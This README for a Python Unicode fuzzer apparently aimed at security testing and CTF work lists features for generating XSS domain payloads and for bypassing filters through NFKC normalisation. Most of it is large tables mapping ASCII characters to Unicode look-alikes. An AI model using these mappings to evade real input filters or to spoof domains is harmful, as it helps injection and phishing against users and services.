/UnicodeToy

Unicode fuzzer for various purposes

Primary LanguagePython

UnicodeToy

Unicode fuzzer for various purposes

Unicode based on version 14.0

features

  • Generate the shortest xss domain payload
  • Generate unicode str, use NFKC mechanism to bypass some filter: python3, rust...(N-CTF 2019 python_jail), you know, homograph
  • ...

usage

  • toy.py main tool
  • script/get_latest_TLDs.py grab latest TLD from IANA
  • script/get_latest_unicode.py grab latest unicode collection from unicode.org (version 14.0.0)

generate ascii to homograph[unicodes] map

for your custom purpose, you can generate the whole table, choose something you need.

  • case 1: strict mode:
print("chr \t ascii_index \t homograph_list")
    for k, v in _gen_ascii_map(strict_mode=True).items():
        print(f"({k}) \t {ord(k)} \t {v}")

output:

chr 	 ascii_index 	 homograph_list
( ) 	 32 	 ['\xa0', '\u2000', '\u2001', '\u2002', '\u2003', '\u2004', '\u2005', '\u2006', '\u2007', '\u2008', '\u2009', '\u200a', '\u202f', '\u205f', '\u3000']
(a) 	 97 	 ['ª', 'ᵃ', 'ₐ', 'ⓐ', 'a', '𝐚', '𝑎', '𝒂', '𝒶', '𝓪', '𝔞', '𝕒', '𝖆', '𝖺', '𝗮', '𝘢', '𝙖', '𝚊']
(2) 	 50 	 ['²', '₂', '②', '2', '𝟐', '𝟚', '𝟤', '𝟮', '𝟸']
(3) 	 51 	 ['³', '₃', '③', '3', '𝟑', '𝟛', '𝟥', '𝟯', '𝟹']
(1) 	 49 	 ['¹', '₁', '①', '1', '𝟏', '𝟙', '𝟣', '𝟭', '𝟷']
(o) 	 111 	 ['º', 'ᵒ', 'ₒ', 'ℴ', 'ⓞ', 'o', '𝐨', '𝑜', '𝒐', '𝓸', '𝔬', '𝕠', '𝖔', '𝗈', '𝗼', '𝘰', '𝙤', '𝚘']
(s) 	 115 	 ['ſ', 'ˢ', 'ₛ', 'ⓢ', 's', '𝐬', '𝑠', '𝒔', '𝓈', '𝓼', '𝔰', '𝕤', '𝖘', '𝗌', '𝘀', '𝘴', '𝙨', '𝚜']
(h) 	 104 	 ['ʰ', 'ₕ', 'ℎ', 'ⓗ', 'h', '𝐡', '𝒉', '𝒽', '𝓱', '𝔥', '𝕙', '𝖍', '𝗁', '𝗵', '𝘩', '𝙝', '𝚑']
(j) 	 106 	 ['ʲ', 'ⅉ', 'ⓙ', 'ⱼ', 'j', '𝐣', '𝑗', '𝒋', '𝒿', '𝓳', '𝔧', '𝕛', '𝖏', '𝗃', '𝗷', '𝘫', '𝙟', '𝚓']
(r) 	 114 	 ['ʳ', 'ᵣ', 'ⓡ', 'r', '𝐫', '𝑟', '𝒓', '𝓇', '𝓻', '𝔯', '𝕣', '𝖗', '𝗋', '𝗿', '𝘳', '𝙧', '𝚛']
(w) 	 119 	 ['ʷ', 'ⓦ', 'w', '𝐰', '𝑤', '𝒘', '𝓌', '𝔀', '𝔴', '𝕨', '𝖜', '𝗐', '𝘄', '𝘸', '𝙬', '𝚠']
(y) 	 121 	 ['ʸ', 'ⓨ', 'y', '𝐲', '𝑦', '𝒚', '𝓎', '𝔂', '𝔶', '𝕪', '𝖞', '𝗒', '𝘆', '𝘺', '𝙮', '𝚢']
(l) 	 108 	 ['ˡ', 'ₗ', 'ℓ', 'ⅼ', 'ⓛ', 'l', '𝐥', '𝑙', '𝒍', '𝓁', '𝓵', '𝔩', '𝕝', '𝖑', '𝗅', '𝗹', '𝘭', '𝙡', '𝚕']
(x) 	 120 	 ['ˣ', 'ₓ', 'ⅹ', 'ⓧ', 'x', '𝐱', '𝑥', '𝒙', '𝓍', '𝔁', '𝔵', '𝕩', '𝖝', '𝗑', '𝘅', '𝘹', '𝙭', '𝚡']
(;) 	 59 	 [';', '︔', '﹔', ';']
(A) 	 65 	 ['ᴬ', 'Ⓐ', 'A', '𝐀', '𝐴', '𝑨', '𝒜', '𝓐', '𝔄', '𝔸', '𝕬', '𝖠', '𝗔', '𝘈', '𝘼', '𝙰', '🄰']
(B) 	 66 	 ['ᴮ', 'ℬ', 'Ⓑ', 'B', '𝐁', '𝐵', '𝑩', '𝓑', '𝔅', '𝔹', '𝕭', '𝖡', '𝗕', '𝘉', '𝘽', '𝙱', '🄱']
(D) 	 68 	 ['ᴰ', 'ⅅ', 'Ⅾ', 'Ⓓ', 'D', '𝐃', '𝐷', '𝑫', '𝒟', '𝓓', '𝔇', '𝔻', '𝕯', '𝖣', '𝗗', '𝘋', '𝘿', '𝙳', '🄳']
(E) 	 69 	 ['ᴱ', 'ℰ', 'Ⓔ', 'E', '𝐄', '𝐸', '𝑬', '𝓔', '𝔈', '𝔼', '𝕰', '𝖤', '𝗘', '𝘌', '𝙀', '𝙴', '🄴']
(G) 	 71 	 ['ᴳ', 'Ⓖ', 'G', '𝐆', '𝐺', '𝑮', '𝒢', '𝓖', '𝔊', '𝔾', '𝕲', '𝖦', '𝗚', '𝘎', '𝙂', '𝙶', '🄶']
(H) 	 72 	 ['ᴴ', 'ℋ', 'ℌ', 'ℍ', 'Ⓗ', 'H', '𝐇', '𝐻', '𝑯', '𝓗', '𝕳', '𝖧', '𝗛', '𝘏', '𝙃', '𝙷', '🄷']
(I) 	 73 	 ['ᴵ', 'ℐ', 'ℑ', 'Ⅰ', 'Ⓘ', 'I', '𝐈', '𝐼', '𝑰', '𝓘', '𝕀', '𝕴', '𝖨', '𝗜', '𝘐', '𝙄', '𝙸', '🄸']
(J) 	 74 	 ['ᴶ', 'Ⓙ', 'J', '𝐉', '𝐽', '𝑱', '𝒥', '𝓙', '𝔍', '𝕁', '𝕵', '𝖩', '𝗝', '𝘑', '𝙅', '𝙹', '🄹']
(K) 	 75 	 ['ᴷ', 'K', 'Ⓚ', 'K', '𝐊', '𝐾', '𝑲', '𝒦', '𝓚', '𝔎', '𝕂', '𝕶', '𝖪', '𝗞', '𝘒', '𝙆', '𝙺', '🄺']
(L) 	 76 	 ['ᴸ', 'ℒ', 'Ⅼ', 'Ⓛ', 'L', '𝐋', '𝐿', '𝑳', '𝓛', '𝔏', '𝕃', '𝕷', '𝖫', '𝗟', '𝘓', '𝙇', '𝙻', '🄻']
(M) 	 77 	 ['ᴹ', 'ℳ', 'Ⅿ', 'Ⓜ', 'M', '𝐌', '𝑀', '𝑴', '𝓜', '𝔐', '𝕄', '𝕸', '𝖬', '𝗠', '𝘔', '𝙈', '𝙼', '🄼']
(N) 	 78 	 ['ᴺ', 'ℕ', 'Ⓝ', 'N', '𝐍', '𝑁', '𝑵', '𝒩', '𝓝', '𝔑', '𝕹', '𝖭', '𝗡', '𝘕', '𝙉', '𝙽', '🄽']
(O) 	 79 	 ['ᴼ', 'Ⓞ', 'O', '𝐎', '𝑂', '𝑶', '𝒪', '𝓞', '𝔒', '𝕆', '𝕺', '𝖮', '𝗢', '𝘖', '𝙊', '𝙾', '🄾']
(P) 	 80 	 ['ᴾ', 'ℙ', 'Ⓟ', 'P', '𝐏', '𝑃', '𝑷', '𝒫', '𝓟', '𝔓', '𝕻', '𝖯', '𝗣', '𝘗', '𝙋', '𝙿', '🄿']
(R) 	 82 	 ['ᴿ', 'ℛ', 'ℜ', 'ℝ', 'Ⓡ', 'R', '𝐑', '𝑅', '𝑹', '𝓡', '𝕽', '𝖱', '𝗥', '𝘙', '𝙍', '𝚁', '🄬', '🅁']
(T) 	 84 	 ['ᵀ', 'Ⓣ', 'T', '𝐓', '𝑇', '𝑻', '𝒯', '𝓣', '𝔗', '𝕋', '𝕿', '𝖳', '𝗧', '𝘛', '𝙏', '𝚃', '🅃']
(U) 	 85 	 ['ᵁ', 'Ⓤ', 'U', '𝐔', '𝑈', '𝑼', '𝒰', '𝓤', '𝔘', '𝕌', '𝖀', '𝖴', '𝗨', '𝘜', '𝙐', '𝚄', '🅄']
(W) 	 87 	 ['ᵂ', 'Ⓦ', 'W', '𝐖', '𝑊', '𝑾', '𝒲', '𝓦', '𝔚', '𝕎', '𝖂', '𝖶', '𝗪', '𝘞', '𝙒', '𝚆', '🅆']
(b) 	 98 	 ['ᵇ', 'ⓑ', 'b', '𝐛', '𝑏', '𝒃', '𝒷', '𝓫', '𝔟', '𝕓', '𝖇', '𝖻', '𝗯', '𝘣', '𝙗', '𝚋']
(d) 	 100 	 ['ᵈ', 'ⅆ', 'ⅾ', 'ⓓ', 'd', '𝐝', '𝑑', '𝒅', '𝒹', '𝓭', '𝔡', '𝕕', '𝖉', '𝖽', '𝗱', '𝘥', '𝙙', '𝚍']
(e) 	 101 	 ['ᵉ', 'ₑ', 'ℯ', 'ⅇ', 'ⓔ', 'e', '𝐞', '𝑒', '𝒆', '𝓮', '𝔢', '𝕖', '𝖊', '𝖾', '𝗲', '𝘦', '𝙚', '𝚎']
(g) 	 103 	 ['ᵍ', 'ℊ', 'ⓖ', 'g', '𝐠', '𝑔', '𝒈', '𝓰', '𝔤', '𝕘', '𝖌', '𝗀', '𝗴', '𝘨', '𝙜', '𝚐']
(k) 	 107 	 ['ᵏ', 'ₖ', 'ⓚ', 'k', '𝐤', '𝑘', '𝒌', '𝓀', '𝓴', '𝔨', '𝕜', '𝖐', '𝗄', '𝗸', '𝘬', '𝙠', '𝚔']
(m) 	 109 	 ['ᵐ', 'ₘ', 'ⅿ', 'ⓜ', 'm', '𝐦', '𝑚', '𝒎', '𝓂', '𝓶', '𝔪', '𝕞', '𝖒', '𝗆', '𝗺', '𝘮', '𝙢', '𝚖']
(p) 	 112 	 ['ᵖ', 'ₚ', 'ⓟ', 'p', '𝐩', '𝑝', '𝒑', '𝓅', '𝓹', '𝔭', '𝕡', '𝖕', '𝗉', '𝗽', '𝘱', '𝙥', '𝚙']
(t) 	 116 	 ['ᵗ', 'ₜ', 'ⓣ', 't', '𝐭', '𝑡', '𝒕', '𝓉', '𝓽', '𝔱', '𝕥', '𝖙', '𝗍', '𝘁', '𝘵', '𝙩', '𝚝']
(u) 	 117 	 ['ᵘ', 'ᵤ', 'ⓤ', 'u', '𝐮', '𝑢', '𝒖', '𝓊', '𝓾', '𝔲', '𝕦', '𝖚', '𝗎', '𝘂', '𝘶', '𝙪', '𝚞']
(v) 	 118 	 ['ᵛ', 'ᵥ', 'ⅴ', 'ⓥ', 'v', '𝐯', '𝑣', '𝒗', '𝓋', '𝓿', '𝔳', '𝕧', '𝖛', '𝗏', '𝘃', '𝘷', '𝙫', '𝚟']
(i) 	 105 	 ['ᵢ', 'ⁱ', 'ℹ', 'ⅈ', 'ⅰ', 'ⓘ', 'i', '𝐢', '𝑖', '𝒊', '𝒾', '𝓲', '𝔦', '𝕚', '𝖎', '𝗂', '𝗶', '𝘪', '𝙞', '𝚒']
(c) 	 99 	 ['ᶜ', 'ⅽ', 'ⓒ', 'c', '𝐜', '𝑐', '𝒄', '𝒸', '𝓬', '𝔠', '𝕔', '𝖈', '𝖼', '𝗰', '𝘤', '𝙘', '𝚌']
(f) 	 102 	 ['ᶠ', 'ⓕ', 'f', '𝐟', '𝑓', '𝒇', '𝒻', '𝓯', '𝔣', '𝕗', '𝖋', '𝖿', '𝗳', '𝘧', '𝙛', '𝚏']
(z) 	 122 	 ['ᶻ', 'ⓩ', 'z', '𝐳', '𝑧', '𝒛', '𝓏', '𝔃', '𝔷', '𝕫', '𝖟', '𝗓', '𝘇', '𝘻', '𝙯', '𝚣']
(`) 	 96 	 ['`', '`']
(.) 	 46 	 ['․', '﹒', '.']
(0) 	 48 	 ['⁰', '₀', '⓪', '0', '𝟎', '𝟘', '𝟢', '𝟬', '𝟶']
(4) 	 52 	 ['⁴', '₄', '④', '4', '𝟒', '𝟜', '𝟦', '𝟰', '𝟺']
(5) 	 53 	 ['⁵', '₅', '⑤', '5', '𝟓', '𝟝', '𝟧', '𝟱', '𝟻']
(6) 	 54 	 ['⁶', '₆', '⑥', '6', '𝟔', '𝟞', '𝟨', '𝟲', '𝟼']
(7) 	 55 	 ['⁷', '₇', '⑦', '7', '𝟕', '𝟟', '𝟩', '𝟳', '𝟽']
(8) 	 56 	 ['⁸', '₈', '⑧', '8', '𝟖', '𝟠', '𝟪', '𝟴', '𝟾']
(9) 	 57 	 ['⁹', '₉', '⑨', '9', '𝟗', '𝟡', '𝟫', '𝟵', '𝟿']
(+) 	 43 	 ['⁺', '₊', '﬩', '﹢', '+']
(=) 	 61 	 ['⁼', '₌', '﹦', '=']
(() 	 40 	 ['⁽', '₍', '︵', '﹙', '(']
()) 	 41 	 ['⁾', '₎', '︶', '﹚', ')']
(n) 	 110 	 ['ⁿ', 'ₙ', 'ⓝ', 'n', '𝐧', '𝑛', '𝒏', '𝓃', '𝓷', '𝔫', '𝕟', '𝖓', '𝗇', '𝗻', '𝘯', '𝙣', '𝚗']
(C) 	 67 	 ['ℂ', 'ℭ', 'Ⅽ', 'Ⓒ', 'C', '𝐂', '𝐶', '𝑪', '𝒞', '𝓒', '𝕮', '𝖢', '𝗖', '𝘊', '𝘾', '𝙲', '🄫', '🄲']
(Q) 	 81 	 ['ℚ', 'Ⓠ', 'Q', '𝐐', '𝑄', '𝑸', '𝒬', '𝓠', '𝔔', '𝕼', '𝖰', '𝗤', '𝘘', '𝙌', '𝚀', '🅀']
(Z) 	 90 	 ['ℤ', 'ℨ', 'Ⓩ', 'Z', '𝐙', '𝑍', '𝒁', '𝒵', '𝓩', '𝖅', '𝖹', '𝗭', '𝘡', '𝙕', '𝚉', '🅉']
(F) 	 70 	 ['ℱ', 'Ⓕ', 'F', '𝐅', '𝐹', '𝑭', '𝓕', '𝔉', '𝔽', '𝕱', '𝖥', '𝗙', '𝘍', '𝙁', '𝙵', '🄵']
(V) 	 86 	 ['Ⅴ', 'Ⓥ', 'ⱽ', 'V', '𝐕', '𝑉', '𝑽', '𝒱', '𝓥', '𝔙', '𝕍', '𝖁', '𝖵', '𝗩', '𝘝', '𝙑', '𝚅', '🅅']
(X) 	 88 	 ['Ⅹ', 'Ⓧ', 'X', '𝐗', '𝑋', '𝑿', '𝒳', '𝓧', '𝔛', '𝕏', '𝖃', '𝖷', '𝗫', '𝘟', '𝙓', '𝚇', '🅇']
(S) 	 83 	 ['Ⓢ', 'S', '𝐒', '𝑆', '𝑺', '𝒮', '𝓢', '𝔖', '𝕊', '𝕾', '𝖲', '𝗦', '𝘚', '𝙎', '𝚂', '🅂']
(Y) 	 89 	 ['Ⓨ', 'Y', '𝐘', '𝑌', '𝒀', '𝒴', '𝓨', '𝔜', '𝕐', '𝖄', '𝖸', '𝗬', '𝘠', '𝙔', '𝚈', '🅈']
(q) 	 113 	 ['ⓠ', 'q', '𝐪', '𝑞', '𝒒', '𝓆', '𝓺', '𝔮', '𝕢', '𝖖', '𝗊', '𝗾', '𝘲', '𝙦', '𝚚']
(,) 	 44 	 ['︐', '﹐', ',']
(:) 	 58 	 ['︓', '﹕', ':']
(!) 	 33 	 ['︕', '﹗', '!']
(?) 	 63 	 ['︖', '﹖', '?']
(_) 	 95 	 ['︳', '︴', '﹍', '﹎', '﹏', '_']
({) 	 123 	 ['︷', '﹛', '{']
(}) 	 125 	 ['︸', '﹜', '}']
([) 	 91 	 ['﹇', '[']
(]) 	 93 	 ['﹈', ']']
(#) 	 35 	 ['﹟', '#']
(&) 	 38 	 ['﹠', '&']
(*) 	 42 	 ['﹡', '*']
(-) 	 45 	 ['﹣', '-']
(<) 	 60 	 ['﹤', '<']
(>) 	 62 	 ['﹥', '>']
(\) 	 92 	 ['﹨', '\']
($) 	 36 	 ['﹩', '$']
(%) 	 37 	 ['﹪', '%']
(@) 	 64 	 ['﹫', '@']
(") 	 34 	 ['"']
(') 	 39 	 [''']
(/) 	 47 	 ['/']
(^) 	 94 	 ['^']
(|) 	 124 	 ['|']
(~) 	 126 	 ['~']
  • case 2: lax mode
print("chr \t ascii_index \t homograph_list")
for k, v in _gen_ascii_map(strict_mode=False).items():
    print(f"({k}) \t {ord(k)} \t {v}")

output:

chr 	 ascii_index 	 homograph_list
( ) 	 32 	 ['\xa0', '¨', '¯', '´', '¸', '˘', '˙', '˚', '˛', '˜', '˝', 'ͺ', '΄', '΅', '᾽', '᾿', '῀', '῁', '῍', '῎', '῏', '῝', '῞', '῟', '῭', '΅', '´', '῾', '\u2000', '\u2001', '\u2002', '\u2003', '\u2004', '\u2005', '\u2006', '\u2007', '\u2008', '\u2009', '\u200a', '‗', '\u202f', '‾', '\u205f', '\u3000', '゛', '゜', 'ﱞ', 'ﱟ', 'ﱠ', 'ﱡ', 'ﱢ', 'ﱣ', 'ﷺ', 'ﷺ', 'ﷺ', 'ﷻ', '﹉', '﹊', '﹋', '﹌', 'ﹰ', 'ﹲ', 'ﹴ', 'ﹶ', 'ﹸ', 'ﹺ', 'ﹼ', 'ﹾ', ' ̄']
(a) 	 97 	 ['ª', 'ᵃ', 'ẚ', 'ₐ', '℀', '℁', '⒜', 'ⓐ', '㍱', '㍲', '㍴', '㎈', '㎉', '㎩', '㎪', '㎫', '㎬', '㎭', '㎮', '㎯', '㏂', '㏊', '㏿', 'a', '𝐚', '𝑎', '𝒂', '𝒶', '𝓪', '𝔞', '𝕒', '𝖆', '𝖺', '𝗮', '𝘢', '𝙖', '𝚊']
(2) 	 50 	 ['²', '½', '₂', '⅔', '⅖', '②', '⑫', '⑳', '⑵', '⑿', '⒇', '⒉', '⒓', '⒛', '㉑', '㉒', '㉒', '㉓', '㉔', '㉕', '㉖', '㉗', '㉘', '㉙', '㉜', '㊷', '㋁', '㋋', '㍚', '㍤', '㍬', '㍭', '㍮', '㍮', '㍯', '㍰', '㍸', '㎟', '㎠', '㎡', '㎢', '㎨', '㎯', '㏡', '㏫', '㏳', '㏴', '㏵', '㏵', '㏶', '㏷', '㏸', '㏹', '㏺', '㏻', '㏼', '2', '𝟐', '𝟚', '𝟤', '𝟮', '𝟸', '🄃']
(3) 	 51 	 ['³', '¾', '₃', '⅓', '⅔', '⅗', '⅜', '↉', '③', '⑬', '⑶', '⒀', '⒊', '⒔', '㉓', '㉚', '㉛', '㉜', '㉝', '㉝', '㉞', '㉟', '㊱', '㊲', '㊳', '㊴', '㊸', '㋂', '㍛', '㍥', '㍯', '㍹', '㎣', '㎤', '㎥', '㎦', '㏢', '㏬', '㏶', '㏽', '㏾', '3', '𝟑', '𝟛', '𝟥', '𝟯', '𝟹', '🄄']
(1) 	 49 	 ['¹', '¼', '½', '₁', '⅐', '⅑', '⅒', '⅒', '⅓', '⅕', '⅙', '⅛', '⅟', '①', '⑩', '⑪', '⑪', '⑫', '⑬', '⑭', '⑮', '⑯', '⑰', '⑱', '⑲', '⑴', '⑽', '⑾', '⑾', '⑿', '⒀', '⒁', '⒂', '⒃', '⒄', '⒅', '⒆', '⒈', '⒑', '⒒', '⒒', '⒓', '⒔', '⒕', '⒖', '⒗', '⒘', '⒙', '⒚', '㉑', '㉛', '㊶', '㋀', '㋉', '㋊', '㋊', '㋋', '㍙', '㍢', '㍣', '㍣', '㍤', '㍥', '㍦', '㍧', '㍨', '㍩', '㍪', '㍫', '㍭', '㏠', '㏩', '㏪', '㏪', '㏫', '㏬', '㏭', '㏮', '㏯', '㏰', '㏱', '㏲', '㏴', '㏾', '1', '𝟏', '𝟙', '𝟣', '𝟭', '𝟷', '🄂']
(o) 	 111 	 ['º', 'ᵒ', 'ₒ', '℅', '№', 'ℴ', '⒪', 'ⓞ', '㍵', '㏇', '㏒', '㏖', 'o', '𝐨', '𝑜', '𝒐', '𝓸', '𝔬', '𝕠', '𝖔', '𝗈', '𝗼', '𝘰', '𝙤', '𝚘']
(4) 	 52 	 ['¼', '¾', '⁴', '₄', '⅘', '④', '⑭', '⑷', '⒁', '⒋', '⒕', '㉔', '㉞', '㊵', '㊶', '㊷', '㊸', '㊹', '㊹', '㊺', '㊻', '㊼', '㊽', '㊾', '㋃', '㍜', '㍦', '㍰', '㏣', '㏭', '㏷', '4', '𝟒', '𝟜', '𝟦', '𝟰', '𝟺', '🄅']
(I) 	 73 	 ['IJ', 'ᴵ', 'ℐ', 'ℑ', 'Ⅰ', 'Ⅱ', 'Ⅱ', 'Ⅲ', 'Ⅲ', 'Ⅲ', 'Ⅳ', 'Ⅵ', 'Ⅶ', 'Ⅶ', 'Ⅷ', 'Ⅷ', 'Ⅷ', 'Ⅸ', 'Ⅺ', 'Ⅻ', 'Ⅻ', 'Ⓘ', '㍺', 'I', '𝐈', '𝐼', '𝑰', '𝓘', '𝕀', '𝕴', '𝖨', '𝗜', '𝘐', '𝙄', '𝙸', '🄘', '🄸']
(J) 	 74 	 ['IJ', 'LJ', 'NJ', 'ᴶ', 'Ⓙ', 'J', '𝐉', '𝐽', '𝑱', '𝒥', '𝓙', '𝔍', '𝕁', '𝕵', '𝖩', '𝗝', '𝘑', '𝙅', '𝙹', '🄙', '🄹', '🆐']
(i) 	 105 	 ['ij', 'ᵢ', 'ⁱ', 'ℹ', 'ⅈ', 'ⅰ', 'ⅱ', 'ⅱ', 'ⅲ', 'ⅲ', 'ⅲ', 'ⅳ', 'ⅵ', 'ⅶ', 'ⅶ', 'ⅷ', 'ⅷ', 'ⅷ', 'ⅸ', 'ⅺ', 'ⅻ', 'ⅻ', '⒤', 'ⓘ', '㏌', '㏕', 'fi', 'ffi', 'i', '𝐢', '𝑖', '𝒊', '𝒾', '𝓲', '𝔦', '𝕚', '𝖎', '𝗂', '𝗶', '𝘪', '𝙞', '𝚒']
(j) 	 106 	 ['ij', 'Lj', 'lj', 'Nj', 'nj', 'ʲ', 'ⅉ', '⒥', 'ⓙ', 'ⱼ', 'j', '𝐣', '𝑗', '𝒋', '𝒿', '𝓳', '𝔧', '𝕛', '𝖏', '𝗃', '𝗷', '𝘫', '𝙟', '𝚓']
(L) 	 76 	 ['Ŀ', 'LJ', 'Lj', 'ᴸ', 'ℒ', '℡', 'Ⅼ', 'Ⓛ', '㋏', 'L', '𝐋', '𝐿', '𝑳', '𝓛', '𝔏', '𝕃', '𝕷', '𝖫', '𝗟', '𝘓', '𝙇', '𝙻', '🄛', '🄻']
(l) 	 108 	 ['ŀ', 'lj', 'ˡ', 'ₗ', 'ℓ', 'ⅼ', '⒧', 'ⓛ', '㎈', '㎉', '㎕', '㎖', '㎗', '㎘', '㏐', '㏑', '㏒', '㏓', '㏕', '㏖', '㏿', 'fl', 'ffl', 'l', '𝐥', '𝑙', '𝒍', '𝓁', '𝓵', '𝔩', '𝕝', '𝖑', '𝗅', '𝗹', '𝘭', '𝙡', '𝚕']
(n) 	 110 	 ['ʼn', 'nj', 'ⁿ', 'ₙ', '⒩', 'ⓝ', '㎁', '㎋', '㎚', '㎱', '㎵', '㎻', '㏌', '㏑', 'n', '𝐧', '𝑛', '𝒏', '𝓃', '𝓷', '𝔫', '𝕟', '𝖓', '𝗇', '𝗻', '𝘯', '𝙣', '𝚗']
(s) 	 115 	 ['ſ', 'ˢ', 'ₛ', '₨', '℁', '⒮', 'ⓢ', '㎧', '㎨', '㎮', '㎯', '㎰', '㎱', '㎲', '㎳', '㏛', 'ſt', 'st', 's', '𝐬', '𝑠', '𝒔', '𝓈', '𝓼', '𝔰', '𝕤', '𝖘', '𝗌', '𝘀', '𝘴', '𝙨', '𝚜']
(D) 	 68 	 ['DŽ', 'Dž', 'DZ', 'Dz', 'ᴰ', 'ⅅ', 'Ⅾ', 'Ⓓ', '㋏', 'D', '𝐃', '𝐷', '𝑫', '𝒟', '𝓓', '𝔇', '𝔻', '𝕯', '𝖣', '𝗗', '𝘋', '𝘿', '𝙳', '🄓', '🄭', '🄳', '🅌', '🅫', '🆐']
(d) 	 100 	 ['dž', 'dz', 'ᵈ', 'ⅆ', 'ⅾ', '⒟', 'ⓓ', '㍲', '㍷', '㍸', '㍹', '㎗', '㎭', '㎮', '㎯', '㏅', '㏈', 'd', '𝐝', '𝑑', '𝒅', '𝒹', '𝓭', '𝔡', '𝕕', '𝖉', '𝖽', '𝗱', '𝘥', '𝙙', '𝚍']
(N) 	 78 	 ['NJ', 'Nj', 'ᴺ', 'ℕ', '№', 'Ⓝ', 'N', '𝐍', '𝑁', '𝑵', '𝒩', '𝓝', '𝔑', '𝕹', '𝖭', '𝗡', '𝘕', '𝙉', '𝙽', '🄝', '🄽']
(Z) 	 90 	 ['DZ', 'ℤ', 'ℨ', 'Ⓩ', 'Z', '𝐙', '𝑍', '𝒁', '𝒵', '𝓩', '𝖅', '𝖹', '𝗭', '𝘡', '𝙕', '𝚉', '🄩', '🄮', '🅉']
(z) 	 122 	 ['Dz', 'dz', 'ᶻ', '⒵', 'ⓩ', '㎐', '㎑', '㎒', '㎓', '㎔', 'z', '𝐳', '𝑧', '𝒛', '𝓏', '𝔃', '𝔷', '𝕫', '𝖟', '𝗓', '𝘇', '𝘻', '𝙯', '𝚣']
(h) 	 104 	 ['ʰ', 'ₕ', 'ℎ', '⒣', 'ⓗ', '㍱', '㏊', 'h', '𝐡', '𝒉', '𝒽', '𝓱', '𝔥', '𝕙', '𝖍', '𝗁', '𝗵', '𝘩', '𝙝', '𝚑']
(r) 	 114 	 ['ʳ', 'ᵣ', '⒭', 'ⓡ', '㋍', '㍴', '㎭', '㎮', '㎯', '㏛', 'r', '𝐫', '𝑟', '𝒓', '𝓇', '𝓻', '𝔯', '𝕣', '𝖗', '𝗋', '𝗿', '𝘳', '𝙧', '𝚛']
(w) 	 119 	 ['ʷ', '⒲', 'ⓦ', 'w', '𝐰', '𝑤', '𝒘', '𝓌', '𝔀', '𝔴', '𝕨', '𝖜', '𝗐', '𝘄', '𝘸', '𝙬', '𝚠']
(y) 	 121 	 ['ʸ', '⒴', 'ⓨ', '㏉', 'y', '𝐲', '𝑦', '𝒚', '𝓎', '𝔂', '𝔶', '𝕪', '𝖞', '𝗒', '𝘆', '𝘺', '𝙮', '𝚢']
(x) 	 120 	 ['ˣ', 'ₓ', 'ⅸ', 'ⅹ', 'ⅺ', 'ⅻ', '⒳', 'ⓧ', '㏓', 'x', '𝐱', '𝑥', '𝒙', '𝓍', '𝔁', '𝔵', '𝕩', '𝖝', '𝗑', '𝘅', '𝘹', '𝙭', '𝚡']
(;) 	 59 	 [';', '︔', '﹔', ';']
(A) 	 65 	 ['ᴬ', '℻', 'Ⓐ', '㍳', '㎀', '㎁', '㎂', '㎃', '㎄', '㏟', 'A', '𝐀', '𝐴', '𝑨', '𝒜', '𝓐', '𝔄', '𝔸', '𝕬', '𝖠', '𝗔', '𝘈', '𝘼', '𝙰', '🄐', '🄰']
(B) 	 66 	 ['ᴮ', 'ℬ', 'Ⓑ', '㎅', '㎆', '㎇', '㏃', '㏈', 'B', '𝐁', '𝐵', '𝑩', '𝓑', '𝔅', '𝔹', '𝕭', '𝖡', '𝗕', '𝘉', '𝘽', '𝙱', '🄑', '🄱']
(E) 	 69 	 ['ᴱ', '℡', 'ℰ', 'Ⓔ', '㉐', 'E', '𝐄', '𝐸', '𝑬', '𝓔', '𝔈', '𝔼', '𝕰', '𝖤', '𝗘', '𝘌', '𝙀', '𝙴', '🄔', '🄴']
(G) 	 71 	 ['ᴳ', 'Ⓖ', '㎇', '㎓', '㎬', '㏉', 'G', '𝐆', '𝐺', '𝑮', '𝒢', '𝓖', '𝔊', '𝔾', '𝕲', '𝖦', '𝗚', '𝘎', '𝙂', '𝙶', '🄖', '🄶']
(H) 	 72 	 ['ᴴ', 'ℋ', 'ℌ', 'ℍ', 'Ⓗ', '㋌', '㎐', '㎑', '㎒', '㎓', '㎔', '㏋', '㏗', 'H', '𝐇', '𝐻', '𝑯', '𝓗', '𝕳', '𝖧', '𝗛', '𝘏', '𝙃', '𝙷', '🄗', '🄷', '🅊']
(K) 	 75 	 ['ᴷ', 'K', 'Ⓚ', '㎅', '㏍', '㏍', '㏎', 'K', '𝐊', '𝐾', '𝑲', '𝒦', '𝓚', '𝔎', '𝕂', '𝕶', '𝖪', '𝗞', '𝘒', '𝙆', '𝙺', '🄚', '🄺']
(M) 	 77 	 ['ᴹ', '℠', '™', 'ℳ', 'Ⅿ', 'Ⓜ', '㎆', '㎒', '㎫', '㎹', '㎿', '㏁', '㏎', '㏙', 'M', '𝐌', '𝑀', '𝑴', '𝓜', '𝔐', '𝕄', '𝕸', '𝖬', '𝗠', '𝘔', '𝙈', '𝙼', '🄜', '🄼', '🅋', '🅪', '🅫', '🅬']
(O) 	 79 	 ['ᴼ', 'Ⓞ', 'O', '𝐎', '𝑂', '𝑶', '𝒪', '𝓞', '𝔒', '𝕆', '𝕺', '𝖮', '𝗢', '𝘖', '𝙊', '𝙾', '🄞', '🄾']
(P) 	 80 	 ['ᴾ', 'ℙ', 'Ⓟ', '㉐', '㍱', '㎩', '㎪', '㎫', '㎬', '㏋', '㏗', '㏙', '㏙', '㏚', 'P', '𝐏', '𝑃', '𝑷', '𝒫', '𝓟', '𝔓', '𝕻', '𝖯', '𝗣', '𝘗', '𝙋', '𝙿', '🄟', '🄿', '🅎', '🅎']
(R) 	 82 	 ['ᴿ', '₨', 'ℛ', 'ℜ', 'ℝ', 'Ⓡ', '㏚', 'R', '𝐑', '𝑅', '𝑹', '𝓡', '𝕽', '𝖱', '𝗥', '𝘙', '𝙍', '𝚁', '🄡', '🄬', '🅁', '🅬']
(T) 	 84 	 ['ᵀ', '℡', '™', 'Ⓣ', '㉐', '㋏', '㎔', 'T', '𝐓', '𝑇', '𝑻', '𝒯', '𝓣', '𝔗', '𝕋', '𝕿', '𝖳', '𝗧', '𝘛', '𝙏', '𝚃', '🄣', '🅃']
(U) 	 85 	 ['ᵁ', 'Ⓤ', '㍳', '㍺', 'U', '𝐔', '𝑈', '𝑼', '𝒰', '𝓤', '𝔘', '𝕌', '𝖀', '𝖴', '𝗨', '𝘜', '𝙐', '𝚄', '🄤', '🅄']
